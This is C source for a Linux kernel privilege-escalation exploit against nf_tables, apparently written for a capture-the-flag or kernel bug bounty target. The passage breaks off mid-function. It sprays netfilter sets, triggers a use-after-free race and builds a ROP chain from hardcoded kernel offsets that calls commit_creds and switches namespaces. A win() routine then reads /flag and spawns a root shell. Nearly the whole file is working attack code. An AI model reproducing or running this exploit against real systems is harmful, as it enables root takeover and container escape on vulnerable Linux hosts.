#define _GNU_SOURCE

#include <pthread.h>
#include <setjmp.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <limits.h>

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <unistd.h>

#include <net/if.h>
#include <netinet/in.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>

#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/set.h>
#include <libnftnl/table.h>


uint64_t cfg_race_set_slab = 1;
uint64_t cfg_race_set_elem_count = 0x300 * 0x800;

useconds_t cfg_initial_usleep = 1 * 1000 * 1000;
useconds_t cfg_race_lead_usleep = 50 * 1000;
useconds_t cfg_race_lag_usleep = 300 * 1000;
useconds_t cfg_reuse_usleep = 50 * 1000;


#define FIND_TASK_BY_VPID                           0x10a0d0
#define SWITCH_TASK_NAMESPACES                      0x111c80
#define COMMIT_CREDS                                0x1136f0
#define INIT_NSPROXY                                0x2661680
#define INIT_CRED                                   0x26618c0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE  0x12010c6
#define VFORK                                       0x0e37d0
#define DELAY                                       0x17da60 
#define NFT_COUNTER_OPS                             0x1af8340

#define PUSH_RAX_POP_RSP    0xaec248;       // 0xffffffff81aec248 : push rax ; pop rsp ; xor eax, eax ; jmp 0xffffffff82404440
#define POP_RDI_RET         0x1481f3;       // 0xffffffff811481f3 : pop rdi ; jmp 0xffffffff82404440
#define POP_RSI_RET         0x0d813f;       // 0xffffffff810d813f : pop rsi ; jmp 0xffffffff82404440
#define MOV_RDI_RAX_RET     0x61dd6a;       // 0xffffffff8161dd6a : mov rdi, rax ; mov dword ptr [rdx], ecx ; mov rax, rdi ; jmp 0xffffffff82404440
#define POP_RDX_RET         0x6f12a0;       // 0xffffffff816f12a0 : pop rdx ; xor eax, eax ; jmp 0xffffffff82404440

#define uaf_chunk_size 0x80
#define mnl_batch_limit (1024 * 1024)

uint64_t nft_counter_ops;
uint64_t kbase;
uint64_t heap_addr;
uint64_t victim_rule_handle;

char mnl_batch_buffer[2 * mnl_batch_limit];

char uaf_set_key[8 + 0x34];

void win(){
    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);

    system("cat /flag");

    char *args[] = {"/bin/sh", NULL};
    execve("/bin/sh", args, NULL);

    exit(0);
}

int cfg_load_line(char *line)
{
    char *saveptr = NULL;
    char *value = strtok_r(line, "\t ", &saveptr);
    if (value == NULL) {
        return EFAULT;
    }

    char *key = NULL;
    do {
        key = strtok_r(NULL, "\t\n ", &saveptr);
        if (key == NULL) {
            return EFAULT;
        }
    } while (strlen(key) < 2);

    errno = 0;

    if (strcmp(key, "race_set_slab") == 0) {
        cfg_race_set_slab = strtoul(value, NULL, 0);
    }
    else if (strcmp(key, "race_set_elem_count") == 0) {
        cfg_race_set_elem_count = 1000L * strtoul(value, NULL, 0);
    }
    else if (strcmp(key, "initial_sleep") == 0) {
        cfg_initial_usleep = 1000L * strtoul(value, NULL, 0);
    }
    else if (strcmp(key, "race_lead_sleep") == 0) {
        cfg_race_lead_usleep = 1000L * strtoul(value, NULL, 0);
    }
    else if (strcmp(key, "race_lag_sleep") == 0) {
        cfg_race_lag_usleep = 1000L * strtoul(value, NULL, 0);
    }
    else if (strcmp(key, "reuse_sleep") == 0) {
        cfg_reuse_usleep = 1000L * strtoul(value, NULL, 0);
    }
    else {
        errno = ENOENT;
    }

    return errno;
}

static void cfg_load(char *path)
{
    FILE *stream = fopen(path, "r");
    if (stream != NULL) {
        char *line = NULL;
        size_t len = 0;
        ssize_t nread;

        while ((nread = getline(&line, &len, stream)) != -1) {
            printf("[*] Profile line: %s", line);
            if (cfg_load_line(line) != 0) {
                printf("[!] ERROR\n");
            }
        }
        fclose(stream);
    }
}

void hex_dump(const char *data, ssize_t size)
{
    if (size <= 0) {
        printf("\n*** empty ***\n");
    }
    else {
        char hex_buf[0x40];
        char ascii_buf[0x20];
        ssize_t ix = 0;
        int pos = 0;

        do {
            unsigned char byte = data[ix];

            sprintf(hex_buf + 3 * pos, "%02x ", byte);
            ascii_buf[pos] = ((0x20 <= byte) && (byte < 0x7e))? byte: '.';

            ++ ix;
            ++ pos;
            if ((ix == size) || (pos == 0x10)) {
                ascii_buf[pos] = 0;
                printf("\n%04lx:  %-48s |  %s", ix - pos, hex_buf, ascii_buf);
                pos = 0;
            }
        } while (ix < size);
        printf("\n");
    }
}

static void append_del_set_handle(struct mnl_nlmsg_batch *batch, uint32_t seq,
    uint32_t family, char *table_name, uint64_t handle)
{
    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_u64(set, NFTNL_SET_HANDLE, handle);

    struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_DELSET,
        NFPROTO_INET,
        NLM_F_ACK,
        seq
    );
    nftnl_set_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);
}

static void append_del_set(struct mnl_nlmsg_batch *batch, uint32_t seq,
    uint32_t family, char *table_name, char *set_name)
{
    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);

    struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_DELSET,
        NFPROTO_INET,
        NLM_F_ACK,
        seq
    );
    nftnl_set_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);
}

static void append_del_chain(struct mnl_nlmsg_batch *batch, uint32_t seq,
    uint32_t family, char *table_name, char *chain_name)
{
    struct nftnl_chain *chain = nftnl_chain_alloc();
    if (chain == NULL) {
        errx(1, "Cannot into nftnl_chain_alloc()");
    }

    nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, family);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, table_name);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);

    struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_DELCHAIN,
        NFPROTO_INET,
        0,
        seq
    );
    nftnl_chain_nlmsg_build_payload(nlh, chain);
    mnl_nlmsg_batch_next(batch);

    nftnl_chain_free(chain);
}

static void append_del_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
    uint32_t family, char *table_name, char *chain_name, uint64_t rule_handle)
{
    struct nftnl_rule *rule = nftnl_rule_alloc();
    if (rule == NULL) {
        errx(1, "Cannot into nftnl_rule_alloc()");
    }

    nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name);
    nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);
    nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, family);
    if (rule_handle != -1) {
        nftnl_rule_set_u64(rule, NFTNL_RULE_HANDLE, rule_handle);
    }

    struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_DELRULE,
        family,
        NLM_F_ACK,
        seq
    );
    nftnl_rule_nlmsg_build_payload(nlh, rule);
    mnl_nlmsg_batch_next(batch);

    nftnl_rule_free(rule);
}


uint32_t pwn_family = NFPROTO_INET;
char *pwn_table = "testfirewall";

char *pwn_lookup_set = "s_a";
char *pwn_lookup_chain = "OUTPUT";

char *pwn_log_chain = "INPUT";

static void pwn_create_table(struct mnl_nlmsg_batch *batch, uint32_t seq)
{
    struct nftnl_table *table = nftnl_table_alloc();
    if (table == NULL) {
        errx(1, "Cannot into nftnl_table_alloc()");
    }

    nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, pwn_family);
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, pwn_table);

    struct nlmsghdr *nlh = nftnl_table_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWTABLE,
        pwn_family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_table_nlmsg_build_payload(nlh, table);
    mnl_nlmsg_batch_next(batch);

    nftnl_table_free(table);
}


static void pwn_create_set(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *set_name, uint32_t set_id, uint32_t set_flags,
    uint32_t set_key_len, uint32_t set_desc_size,
    void *set_userdata, uint32_t set_userdata_len)
{
    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
    nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set, NFTNL_SET_ID, set_id);
    nftnl_set_set_u32(set, NFTNL_SET_FLAGS, set_flags);
    nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, set_key_len);
    if (set_desc_size != 0) {
        nftnl_set_set_u32(set, NFTNL_SET_DESC_SIZE, set_desc_size);
    }
    if (set_userdata != NULL) {
        nftnl_set_set_data(set, NFTNL_SET_USERDATA, set_userdata, set_userdata_len);
    }

    struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSET,
        pwn_family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_set_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);
}


static void pwn_create_chain(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *chain_name)
{
    struct nftnl_chain *chain = nftnl_chain_alloc();
    if (chain == NULL) {
        errx(1, "Cannot into nftnl_chain_alloc()");
    }

    nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);

    struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWCHAIN,
        pwn_family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_chain_nlmsg_build_payload(nlh, chain);
    mnl_nlmsg_batch_next(batch);

    nftnl_chain_free(chain);
}


static void pwn_create_lookup_set_elem(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *set_name,
    void *set_elem_key, uint32_t set_elem_key_len)
{
    char set_elem_userdata[0x2f] = {};

    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
    nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);

    struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc();
    if (set_elem == NULL) {
        errx(1, "Cannot into nftnl_set_elem_alloc()");
    }

    nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, set_elem_key_len);
    nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_USERDATA, set_elem_userdata, sizeof(set_elem_userdata));

    nftnl_set_elem_add(set, set_elem);

    struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSETELEM,
        NFPROTO_INET,
        NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
        seq
    );
    nftnl_set_elems_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);
}


static void pwn_create_lookup_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *chain_name, char *set_name)
{
    struct nftnl_rule *rule = nftnl_rule_alloc();
    if (rule == NULL) {
        errx(1, "Cannot into nftnl_rule_alloc()");
    }

    nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family);
    nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table);
    nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);

    struct nftnl_expr *lookup = nftnl_expr_alloc("lookup");
    if (lookup == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
    nftnl_expr_set_str(lookup, NFTNL_EXPR_LOOKUP_SET, set_name);
    nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_FLAGS, 0);

    nftnl_rule_add_expr(rule, lookup);

    struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWRULE,
        pwn_family,
        NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_rule_nlmsg_build_payload(nlh, rule);
    mnl_nlmsg_batch_next(batch);

    nftnl_rule_free(rule);
}

static void pwn_create_leak_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *chain_name)
{
    char rule_userdata[0xa0] = {'a',};

    struct nftnl_rule *rule = nftnl_rule_alloc();
    if (rule == NULL) {
        errx(1, "Cannot into nftnl_rule_alloc()");
    }

    nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family);
    nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table);
    nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);
    nftnl_rule_set_data(rule, NFTNL_RULE_USERDATA, rule_userdata, sizeof(rule_userdata));

    struct nftnl_expr *expr = nftnl_expr_alloc("counter");
    if (expr == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    nftnl_rule_add_expr(rule, expr);

    struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWRULE,
        pwn_family,
        NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_rule_nlmsg_build_payload(nlh, rule);
    mnl_nlmsg_batch_next(batch);

    nftnl_rule_free(rule);
}

static void pwn_create_leak_chain(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *chain_name)
{
    struct nftnl_chain *chain = nftnl_chain_alloc();
    if (chain == NULL) {
        errx(1, "Cannot into nftnl_chain_alloc()");
    }

    char data[0x200] = {0,};

    nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
    nftnl_chain_set_data(chain, NFTNL_CHAIN_USERDATA, data, 0xf0);

    struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWCHAIN,
        pwn_family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_chain_nlmsg_build_payload(nlh, chain);
    mnl_nlmsg_batch_next(batch);

    nftnl_chain_free(chain);
}

struct list_head {
	struct list_head *next, *prev;
};

struct fake_nft_rule {
	struct list_head    list;
	uint64_t            handle:42,
                        genmask:2,
                        dlen:12,
                        udata:1;
};

void make_payload_rop(uint64_t* data){
    int i = 0;

    data[i++] = kbase + POP_RSI_RET;
    data[i++] = 0;

    data[i++] = kbase + POP_RSI_RET;
    data[i++] = 0;

    data[i++] = kbase + POP_RSI_RET;
    data[i++] = kbase + PUSH_RAX_POP_RSP;       // expr->ops->deactivate()

    // find_task_by_vpid(1)
    data[i++] = kbase + POP_RDI_RET;
    data[i++] = 1;
    data[i++] = kbase + FIND_TASK_BY_VPID;

    // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
    data[i++] = kbase + MOV_RDI_RAX_RET;
    data[i++] = kbase + POP_RSI_RET;
    data[i++] = kbase + INIT_NSPROXY;
    data[i++] = kbase + SWITCH_TASK_NAMESPACES;

    // commit_creds(&init_cred)
    data[i++] = kbase + POP_RDI_RET;
    data[i++] = kbase + INIT_CRED;
    data[i++] = kbase + COMMIT_CREDS;

    data[i++] = kbase + VFORK;
    data[i++] = kbase + DELAY;
}

static void pwn_create_rop_chain(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *chain_name)
{
    struct nftnl_chain *chain = nftnl_chain_alloc();
    if (chain == NULL) {
        errx(1, "Cannot into nftnl_chain_alloc()");
    }

    uint64_t data[0x100] = {0,};
    make_payload_rop(data);

    data[5] = kbase + PUSH_RAX_POP_RSP;

    nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
    nftnl_chain_set_data(chain, NFTNL_CHAIN_USERDATA, data, 0xf0);

    struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWCHAIN,
        pwn_family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_chain_nlmsg_build_payload(nlh, chain);
    mnl_nlmsg_batch_next(batch);

    nftnl_chain_free(chain);
}

static void pwn_create_fake_rule_chain(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *chain_name)
{
    struct nftnl_chain *chain = nftnl_chain_alloc();
    if (chain == NULL) {
        errx(1, "Cannot into nftnl_chain_alloc()");
    }

    char data[0x200] = {0,};

    memset(data, 'c', 0x100);

    struct fake_nft_rule * payload = (struct fake_nft_rule *) data;

    payload->dlen = 8;
    payload->genmask = 0;
    payload->handle = 0xffff;
    payload->list.prev = (void*) 0;
    payload->list.next = (void*) 0;

    *((uint64_t*)data + (sizeof(struct fake_nft_rule) / sizeof(uint64_t*))) = heap_addr;

    nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
    nftnl_chain_set_data(chain, NFTNL_CHAIN_USERDATA, data, 0xf0);

    struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWCHAIN,
        pwn_family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_chain_nlmsg_build_payload(nlh, chain);
    mnl_nlmsg_batch_next(batch);

    nftnl_chain_free(chain);
}

static void pwn_prepare(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_prepare\n");

    seq = time(NULL);

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    pwn_create_table(batch, seq++);

    pwn_create_chain(batch, seq++, pwn_lookup_chain);

    pwn_create_chain(batch, seq++, pwn_log_chain);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}

static void pwn_uaf_spray(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_uaf_spray\n");

    memset(uaf_set_key, 0, sizeof(uaf_set_key));
    uaf_set_key[4] = 0x90;

    char set_userdata_buf[0x100] = {};

    char *set_userdata;
    uint32_t set_userdata_size;
    if (cfg_race_set_slab == 0) {
        set_userdata = NULL;
        set_userdata_size = 0;
    }
    else {
        set_userdata = set_userdata_buf;
        set_userdata_size = sizeof(set_userdata_buf);
    }

    seq = time(NULL);

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    for (int spray = - 0x50; spray < 10; ++ spray) {
        if (spray == 0) {
            pwn_create_set(batch, seq++, pwn_lookup_set, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), 0, set_userdata, set_userdata_size);
        }
        else {
            char *set_name;
            asprintf(&set_name, "spray_set_%04hx", spray);
            pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), 0, set_userdata, set_userdata_size);
        }
    }

    for (int spray = - 0x60; spray < 0x21; ++ spray) {
        if (spray == 0) {
            pwn_create_lookup_set_elem(batch, seq++, pwn_lookup_set, uaf_set_key, sizeof(uaf_set_key));
        }
        else {
        }
    }

    pwn_create_lookup_rule(batch, seq++, pwn_lookup_chain, pwn_lookup_set);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}

static void pwn_delay_spray_set(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_delay_spray_set\n");

    seq = time(NULL);
    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    pwn_create_set(batch, seq++, "set_delay", 1, 0, sizeof(uint64_t), 0, NULL, 0);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}

static void pwn_delay_spray_set_elem(struct mnl_socket *nl, uint64_t *set_elem_key, uint64_t set_elem_key_end)
{
    uint32_t portid, seq, table_seq;
    int ret;

    seq = time(NULL);
    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
    nftnl_set_set_str(set, NFTNL_SET_NAME, "set_delay");

    uint64_t count = set_elem_key_end - (*set_elem_key);
    if (count > 0x800) {
        count = 0x800;
    }
    while (count > 0) {
        -- count;

        struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc();
        if (set_elem == NULL) {
            errx(1, "Cannot into nftnl_set_elem_alloc()");
        }

        nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, sizeof(*set_elem_key));

        nftnl_set_elem_add(set, set_elem);

        ++ (*set_elem_key);
    }

    struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSETELEM,
        NFPROTO_INET,
        NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
        seq++
    );
    nftnl_set_elems_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}

static void pwn_uaf_trigger(struct mnl_socket *nl)
{
    struct mnl_nlmsg_batch *batch;
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_uaf_trigger\n");

    seq = time(NULL);
    batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    append_del_rule(batch, seq++, NFPROTO_INET, "testfirewall", pwn_lookup_chain, -1);

    for (int spray = 2; spray < 10; spray += 2) {
        char *set_name;
        asprintf(&set_name, "spray_set_%04hx", spray);
        append_del_set(batch, seq++, NFPROTO_INET, "testfirewall", set_name);
    }

    append_del_set(batch, seq++, NFPROTO_INET, "testfirewall", "set_delay");

    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
    nftnl_set_set_str(set, NFTNL_SET_NAME, pwn_lookup_set);

    struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_DELSET,
        NFPROTO_INET,
        NLM_F_ACK,
        seq++
    );
    nftnl_set_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}

static void pwn_uaf_race(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_uaf_race\n");

    uint32_t set_desc_size;
    if (cfg_race_set_slab == 0) {
        set_desc_size = 0x0c;
    }
    else {
        set_desc_size = 0x10;
    }

    seq = time(NULL);
    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    for (int spray = 0; spray != 0x20; ++ spray) {
        char *set_name;
        asprintf(&set_name, "race_set_%0200hx", spray);
        pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), set_desc_size, 0, 0);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
